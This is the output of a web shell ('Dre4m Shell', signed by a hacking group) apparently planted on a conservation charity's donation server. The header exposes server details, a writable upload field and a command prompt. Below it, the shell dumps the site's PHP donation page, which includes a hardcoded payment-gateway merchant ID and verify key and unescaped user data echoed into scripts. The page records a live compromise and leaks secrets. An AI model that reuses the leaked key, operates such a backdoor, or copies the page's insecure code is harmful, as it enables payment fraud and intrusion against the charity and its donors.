Dre4m Shell
Server IP : 103.6.199.200  /  Your IP : 3.145.58.158
Web Server : Microsoft-IIS/10.0
System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586
User : EMPUSA$ ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Domains/sharksav/donation.sharksavers.org.my/wwwroot/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Domains/sharksav/donation.sharksavers.org.my/wwwroot/indexOld.php
<?php
function base_url(){
    $a = "http://donation.sharksavers.org.my/";
    return $a;
}

function base_url_linkodes(){
    $a = "http://member.linkodes.com/";
    return $a;
}

$linkodes_uacc_id = $_GET['linkodes'];
if(is_numeric($linkodes_uacc_id)){

    //$encoded = json_decode($result, true);
    $result2 = file_get_contents("http://member.linkodes.com/api/get_profile_for_payment_gateway/?uacc_id=".$linkodes_uacc_id);
    $user_detail = json_decode($result2);
    
    
}else{
    $user_detail = array(
        'fullname' => "Shark Hero",
        'email' => 'no-reply@linkodes.com'
    );
}
?>
<!DOCTYPE html>
<html lang="en">

<head>

    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="description" content="">
    <meta name="author" content="">

    <title>Shark Savers</title>

    <!-- Bootstrap Core CSS -->
    <link href="<?php echo base_url(); ?>lib/bootstrap/css/bootstrap.min.css" rel="stylesheet">

    <!-- Custom Fonts -->
    <link href="//fonts.googleapis.com/css?family=Lato" rel="stylesheet">
    <link href="//fonts.googleapis.com/css?family=Catamaran:100,200,300,400,500,600,700,800,900" rel="stylesheet">
    <link href="//fonts.googleapis.com/css?family=Muli" rel="stylesheet">

    <!-- Plugin CSS -->
    <link rel="stylesheet" href="<?php echo base_url(); ?>lib/font-awesome/css/font-awesome.min.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>lib/simple-line-icons/css/simple-line-icons.css">
    <link rel="stylesheet" href="<?php echo base_url(); ?>lib/device-mockups/device-mockups.min.css">
    
    <link rel="stylesheet" href="<?php echo base_url_linkodes(); ?>assets/molpay_sharksavers/source/MOLPay_inpage.css" type="text/css" />
    
    <link href="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/css/wizard.css?time=1500960082" rel="stylesheet" />
    <!-- Theme CSS -->
    <link href="<?php echo base_url(); ?>css/new-age.css?time=<?php echo time(); ?>" rel="stylesheet">

    <link href="<?php echo base_url(); ?>icheck-1.x/skins/square/_all.css" rel="stylesheet">

<style>
label.checkbox {
  display: block;
  padding-left: 0px;
}
input.checkbox {
  width: 13px;
  height: 13px;
  padding: 0;
  margin:0;
  vertical-align: bottom;
  position: relative;
  top: -1px;
  *overflow: hidden;
}

.spinner {
  width: 50px;
  height: 50px;
  display: inline-block;
  padding: 0px;
  border-radius: 100% !important;
  border: 6px solid;
  border-top-color: #005a9c;
  border-bottom-color: #005a9c;
  border-left-color: rgba(0, 90, 156, 0.15);
  border-right-color: rgba(0, 90, 156, 0.15);
  -webkit-animation: spinner 0.8s ease-in-out infinite alternate;
  animation: spinner 0.8s ease-in-out infinite alternate;
}
@keyframes spinner {
  from {
    -webkit-transform: rotate(0deg);
            transform: rotate(0deg);
  }
  to {
    -webkit-transform: rotate(360deg);
            transform: rotate(360deg);
  }
}
@-webkit-keyframes spinner {
  from {
    -webkit-transform: rotate(0deg);
  }
  to {
    -webkit-transform: rotate(360deg);
  }
}

</style>
    <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="//oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
        <script src="//oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
    <![endif]-->

</head>

<body id="page-top">

    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top">
        <div class="container">
            <!-- Brand and toggle get grouped for better mobile display -->
            <div class="navbar-header">
                <button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#bs-example-navbar-collapse-1">
                    <span class="sr-only">Toggle navigation</span> Menu <i class="fa fa-bars"></i>
                </button>
                <a class="navbar-brand page-scroll" href="#page-top">Shark Savers Malaysia</a>
            </div>

            <!-- Collect the nav links, forms, and other content for toggling -->
            <div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
                <ul class="nav navbar-nav navbar-right">
                    <li>
                        <a class="" href="javascript: void(0);" onclick="javascript: open_modal_wizard();">Donate Now!</a>
                    </li>
                    <li>
                        <a class="page-scroll" href="#download">Download Apps</a>
                    </li>
                    <li>
                        <a class="page-scroll" href="#features">Learn More</a>
                    </li>
                    <li>
                        <a class="page-scroll" href="#contact">Contact</a>
                    </li>
                </ul>
            </div>
            <!-- /.navbar-collapse -->
        </div>
        <!-- /.container-fluid -->
    </nav>

    <header>
        <div class="container">
            <div class="row">
                <div class="col-sm-7">
                    <div class="header-content">
                        <div class="header-content-inner">
                            <h1>Save the Sharks,<br /> To be a Shark Hero,<br /> Take action now!</h1>
                            <a href="javascript: void(0);" onclick="javascript: open_modal_wizard();" class="btn btn-outline btn-xl">Donate Now!</a>
                        </div>
                    </div>
                </div>
                <div class="col-sm-5">
                    <div class="device-container">
                        <div class="device-mockup iphone6_plus portrait white">
                            <div class="device">
                                <div class="screen">
                                    <!-- Demo image for screen mockup, you can put an image here, some HTML, an animation, video, or anything else! -->
                                    <img src="<?php echo base_url(); ?>img/Sample_1.png?time=sa" class="img-responsive" alt="">
                                </div>
                                <div class="button">
                                    <!-- You can hook the "home button" to some JavaScript events or just remove it -->
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </header>

    <section id="download" class="download bg-primary text-center">
        <div class="container">
            <div class="row">
                <div class="col-md-8 col-md-offset-2">
                    <h2 class="section-heading">THE BIGGER PICTURE BEYOND CRUELTY</h2>
                    <p>Linkodes Apps is available on iOS and Android platform! Download now to build your Shark Hero Name Card!</p>
                    <div class="badges">
                        <a class="badge-link" href="https://play.google.com/store/apps/details?id=com.ads.linkodes&hl=en"><img src="<?php echo base_url(); ?>img/google-play-badge.svg" alt=""></a>
                        <a class="badge-link" href="https://itunes.apple.com/us/app/linkodes/id1067543758?mt=8"><img src="<?php echo base_url(); ?>img/app-store-badge.svg" alt=""></a>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <section id="features" class="features">
        <div class="container">
            <div class="row">
                <div class="col-lg-12 text-center">
                    <div class="section-heading">
                        <h2>Learn As Much As You Can About Sharks</h2>
                        <p class="text-muted">Your action will determine their future!</p>
                        <hr>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-md-4">
                    <div class="device-container">
                        <div class="device-mockup iphone6_plus portrait white">
                            <div class="device">
                                <div class="screen">
                                    <!-- Demo image for screen mockup, you can put an image here, some HTML, an animation, video, or anything else! -->
                                    <img src="<?php echo base_url(); ?>img/Sample_2.png?time=sa" class="img-responsive" alt=""> </div>
                                <div class="button">
                                    <!-- You can hook the "home button" to some JavaScript events or just remove it -->
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="col-md-8">
                    <div class="container-fluid">
                        <div class="row">
                            <div class="col-md-6">
                                <div class="feature-item">
                                    <i class="fa fa-cutlery text-primary"></i>
                                    <h3>Don&#39;t eat</h3>
                                    <p class="text-muted">Refuse to eat at restaurants that serve it; encourage others to do the same.</p>
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="feature-item">
                                    <i class="fa fa-times text-primary"></i>
                                    <h3>Don&#39;t Use Shark Products</h3>
                                    <p class="text-muted">By boycotting shark products, you will reduce market demand, causing companies to stop killing sharks to make these products.</p>
                                </div>
                            </div>
                        </div>
                        <div class="row">
                            <div class="col-md-6">
                                <div class="feature-item">
                                    <i class="fa fa-check-square-o text-primary"></i>
                                    <h3>Petition </h3>
                                    <p class="text-muted">Demand that your country stop the sale/importation of shark fins.</p>
                                </div>
                            </div>
                            <div class="col-md-6">
                                <div class="feature-item">
                                    <i class="fa fa-feed text-primary"></i>
                                    <h3>Spread the word</h3>
                                    <p class="text-muted">Let others know that fins from up to 73 million sharks are used in shark fin soup each year.</p>
                                </div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </section>

    <section class="cta" style="background-image: url(<?php echo base_url(); ?>img/shark_bg.png?time=asd);">
        <div class="cta-content">
            <div class="container">
                <h2>Stop eating.<br>Start sharing.</h2>
                <!-- Go to www.addthis.com/dashboard to customize your tools --> <div class="addthis_inline_share_toolbox"></div>
                
            </div>
        </div>
        <div class="overlay"></div>
    </section>

    <section id="contact" class="contact bg-primary">
        <div class="container">
            <h2>We <i class="fa fa-heart"></i> new friends!</h2>
            <ul class="list-inline list-social">
                <!--
                <li class="social-twitter">
                    <a href="https://www.wassap.me/60123211217/Hi+Shark+Hero,+i+have+a+question+to+ask" style="background-color: #25d366 !important;"><i class="fa fa-whatsapp"></i></a>
                </li>
                -->
                <!-- 60122116447 -->
                <li class="social-facebook">
                    <a href="https://www.facebook.com/sharksaversmalaysia/"><i class="fa fa-facebook"></i></a>
                </li>
                
            </ul>
        </div>
    </section>

    <footer>
        <div class="container">
            <p>&copy; 2017 Shark Savers Malaysia. All Rights Reserved.</p>
            <!--
            <ul class="list-inline">
                <li>
                    <a href="#">Privacy</a>
                </li>
                <li>
                    <a href="#">Terms</a>
                </li>
                <li>
                    <a href="#">FAQ</a>
                </li>
            </ul>
            -->
        </div>
    </footer>
    
<div class="modal fade" id="modal_wizard_donate" tabindex="-1" role="dialog" data-width="900" data-creator_key="42156368">
  <div class="modal-dialog" role="document">
    <div class="modal-content">
      <div class="modal-header">
        <button type="button" class="close" data-dismiss="modal" aria-label="Close"><span aria-hidden="true">&times;</span></button>
        <h4 class="modal-title">Donate to Shark Savers</h4>
      </div>
      <div class="modal-body" style="padding: 0px !important;">

        <div class="wizard-container">

                <div class="card wizard-card" data-color="orange" id="wizardProfile">
                    <form action="" method="" onsubmit="event.preventDefault();" id="form_wizard">

                    	<div class="wizard-header">
                        	<h3>
                        	   <b>Show</b> Your Commitment <br>
                        	   <!-- <small>Company Account</small> -->
                        	</h3>
                    	</div>

						<div class="wizard-navigation">
							<ul>
	                            <li style="width: 33% !important;" class="wnav"><a href="#tab_donate" onclick="javascript: void(0);" data-toggle="tab">Donate</a></li>
	                            <li class="wnav"><a href="#tab_confirm" onclick="javascript: void(0);" data-toggle="tab">Confirm</a></li>
	                        </ul>

						</div>

                        <div class="tab-content">
                            <div class="tab-pane" id="tab_donate">
                              <div class="row">
                                  
                                  <div class="col-sm-10 col-sm-offset-1">
                                        
                                        <p>Shark Savers Malaysia is a non-profit membership organization dedicated to saving the sharks through building awareness, education, and grassroots action. </p>
                                        <p>Donate just RM10 or more and you will be helping to make a big difference  and we make every donated penny count, so you can rest assured that your money is directly contributing to shark conservation.</p>
                                        
                                  
                                      <div class="form-group">
                                        <label>Amount</label>
                                          <div class="input-group input-xlarge" style="width: 99%;">
                                                <span class="input-group-btn input-xsmall" style="width: 90px;">
                                                    <select class="form-control valid" id="donate_currency" style="border-left: 1px solid #E3E3E3; border-top-left-radius: 5px; border-bottom-left-radius: 5px;" aria-invalid="false">
                                                        <option value="RM">RM</option>
                                                        <option value="USD">USD</option>
                                                    </select>
                      				            </span>
                       							<input type="number" class="form-control" placeholder="Amount" value="10" id="donate_amount" name="amount" style="max-width: 200px;">
                                        </div>
                                          <span class="help-block error_message" style="" id="donate_amount_error_message"></span>
                                    </div>
                                      
                                </div>
                              </div>
                              
                            </div>
                            
                            <div class="tab-pane" id="tab_confirm">
                                
                                
                                
                                <div class="col-sm-10 col-sm-offset-1">
                                    <div class="form-group">
                                        
                                        <div>
                                            <label class="checkbox" style="margin-bottom: 10px;"><input type="checkbox" class="checkbox icheck_input" /> I pledge to be a Shark Hero and I will never eat or serve shark fin soup again.</label>
                                            <label class="checkbox"><input type="checkbox" class="checkbox icheck_input" /> I support ending the shark fin trade in my country and ask my government to enact a ban on the shark fin trade</label>
                                        </div>
                                        
                                       
                                      </div>
                                </div>
                                
                                
                                <div class="col-sm-10 col-sm-offset-1" id="payment_frame_paypal">
                                    <input id="payment_by_paypal" type="radio" name="payment_type" value="paypal" class="radioImageSelect" data-image="<?php echo base_url(); ?>kingyes/payment-select-paypal.png" checked="checked" />
                                    <label for="payment_by_paypal">Pay by Paypal</label>
                                </div>
                                
                                <div class="col-sm-10 col-sm-offset-1" id="payment_frame_molpay">
                                    <input id="payment_by_molpay" type="radio" name="payment_type" value="molpay" class="radioImageSelect" data-image="<?php echo base_url(); ?>kingyes/payment-select-molpay.png" />
                                    <label for="payment_by_molpay">Pay by Molpay</label>
                                </div>
                                
                                
                                  
                                  

                                
                            </div>
                            
                        </div>




                    </form>
                    
                    
                </div>
            </div>


      </div>
      <div class="modal-footer wizard-footer height-wizard">

            <div class="pull-right">
                                <input type='button' class='btn btn-next btn-fill btn-warning btn-wd btn-sm' id="next_selector" name='next' value='Next' />
                                <input type='button' class='btn btn-finish btn-fill btn-warning btn-wd btn-sm' id="finish_selector" onclick="javascript: btn_confirm_and_pay();" name='finish' value='Confirm &amp; Pay' />
                                <input type="hidden" id="marketing_uacc_id" value="39" />
                                <div id="paypal-button-container" style="display: none;"></div>
                            </div>

                            <div class="pull-left">
                                <input type='button' class='btn btn-previous btn-fill btn-default btn-wd btn-sm' id="previous_selector" name='previous' value='Previous' />
                            </div>
                            <div class="clearfix"></div>


      </div>
    </div><!-- /.modal-content -->
  </div><!-- /.modal-dialog -->
</div><!-- /.modal -->




    <!-- jQuery -->
    <script src="<?php echo base_url(); ?>lib/jquery/jquery.min.js"></script>

    <!-- Bootstrap Core JavaScript -->
    <script src="<?php echo base_url(); ?>lib/bootstrap/js/bootstrap.min.js"></script>
<script src="<?php echo base_url(); ?>js/md5.js"></script>
<script src="<?php echo base_url(); ?>js/jquery.blockui.min.js" type="text/javascript"></script>
<script src="https://www.paypalobjects.com/api/checkout.js"></script>
    <!-- Plugin JavaScript -->
    <script src="//cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.3/jquery.easing.min.js"></script>
<script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/jquery.bootstrap.wizard.js" type="text/javascript"></script>

<script type="text/javascript" src="<?php echo base_url(); ?>icheck-1.x/icheck.js"></script>
<script src="<?php echo base_url(); ?>kingyes/jquery.radioImageSelect.js?time=<?php echo time(); ?>"></script>

<script src="<?php echo base_url_linkodes(); ?>assets/molpay_sharksavers/source/MOLPay_inpage.js"></script>


    <!-- Theme JavaScript -->
    <script src="<?php echo base_url(); ?>js/new-age.js?time=<?php echo time(); ?>"></script>
<script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/gsdk-bootstrap-wizard.js"></script>
<script src="<?php echo base_url(); ?>js/x-bootstrap-wizard-v1.1.1/assets/js/jquery.validate.min.js"></script>
     
    <script src="<?php echo base_url(); ?>sharksavers.js?time=<?php echo time(); ?>"></script>




    <script>
        
    </script>


<!-- Go to www.addthis.com/dashboard to customize your tools --> 
<script type="text/javascript" src="//s7.addthis.com/js/300/addthis_widget.js#pubid=ra-597700947a7ab055"></script> 
<script type="text/javascript">
$.fn.center = function () {
    this.css("position", "absolute");
    this.css("top", ($(window).height() - this.height()) / 2 + $(window).scrollTop() + "px");
    this.css("left", ($(window).width() - this.width()) / 2 + $(window).scrollLeft() + "px");
    return this;
  }
</script>

<script type="text/javascript">
$(function(){
    $('#modal_wizard_donate').on('shown.bs.modal', function (e) {
        execute_wizard();
    });
    
    $('input.icheck_input').iCheck({
        checkboxClass: 'icheckbox_square-green',
        radioClass: 'iradio_square',
        //increaseArea: '20%' // optional
    });
    
    $("#donate_currency").on("change", function(){
        onchange_donate_currency();
    });
    
    $('input.radioImageSelect').radioImageSelect();
    
    $("a[data-toggle=tab]").on("click", function(e) {
        e.preventDefault();
        return false;
    });

})
</script>

<script type="text/javascript">
function onchange_donate_currency(){
    var selected_value = $("#donate_currency").val();
    
}
</script>

<script type="text/javascript">
function btn_confirm_and_pay(){
    validate_form();
    
    
    
    var donate_currency = $("#donate_currency").val();
    var donate_amount = $("#donate_amount").val();
    var payment_type = $('input[name=payment_type]:checked').val();
    
    if(payment_type == "molpay"){
        
        blockUI();
        
        
        $.ajax({
            url: "<?php echo base_url(); ?>get_order_id.php",
            type: "POST",
            dataType: "JSON",
            data: {
                uacc_id: '<?php echo $user_detail->user_detail->uacc_id; ?>',
                amount: donate_amount,
                currency: "MYR",
                payment_gateway: "molpay"
            },
            success: function(data){
                var object = data.object;
                var order_id = object.order_id;
                var merchant_id = "ssmy";
                var verifykey = "27985d4c64e5d97a503d27511ff97251";
                var vcode = md5(donate_amount+merchant_id+order_id+verifykey);
                
                
                $('body').molpay({
                        merchantID : 'ssmy',
                        orderID : order_id,
                        amount : donate_amount,
                        bill_name : encodeURI('<?php echo $user_detail->user_detail->fullname; ?>'),
                        bill_email : encodeURI('<?php echo $user_detail->user_detail->email; ?>'),
                        bill_mobile : encodeURI('<?php echo $user_detail->user_detail->mobile_number; ?>'),
                        bill_desc : encodeURI('Shark Hero'),
                        country : 'MY',
                        returnURL : 'http://donation.sharksavers.org.my/?linkodes=<?php echo $user_detail->user_detail->uacc_id; ?>',
                        vcode: vcode,
                        cur: 'MYR',
                        langcode: 'en',
                        sandbox: 'true'
                    });
                
            }
        })
        
        
        //var order_id = get_order_id('<?php echo $user_detail->user_detail->uacc_id; ?>', donate_amount);
        
        
        
        
        
    } else if(payment_type == 'paypal'){
        $("#finish_selector").hide();
        $("#paypal-button-container").show();
    }

}

function get_order_id(uacc_id, amount){
    $.ajax({
        url: "<?php echo base_url(); ?>get_order_id.php",
        type: "POST",
        dataType: "JSON",
        data: {
            uacc_id: uacc_id,
            amount: amount,
            currency: "MYR",
            payment_gateway: "molpay"
        }
    })
}
</script>

<script type="text/javascript">
function blockUI() {
    $.blockUI({
      css: {
        backgroundColor: 'transparent',
        border: 'none'
      },
      message: '<div class="spinner"></div>',
      baseZ: 10000,
      overlayCSS: {
        backgroundColor: '#FFFFFF',
        opacity: 0.7,
        cursor: 'wait'
      }
    });
    $('.blockUI.blockMsg').center();
  }//end Blockui

function open_top_href(href){
    blockUI();
    window.top.location.href = href;
    $.unblockUI();
}
</script>


</body>

</html>

Anon7 - 2022
AnonSec Team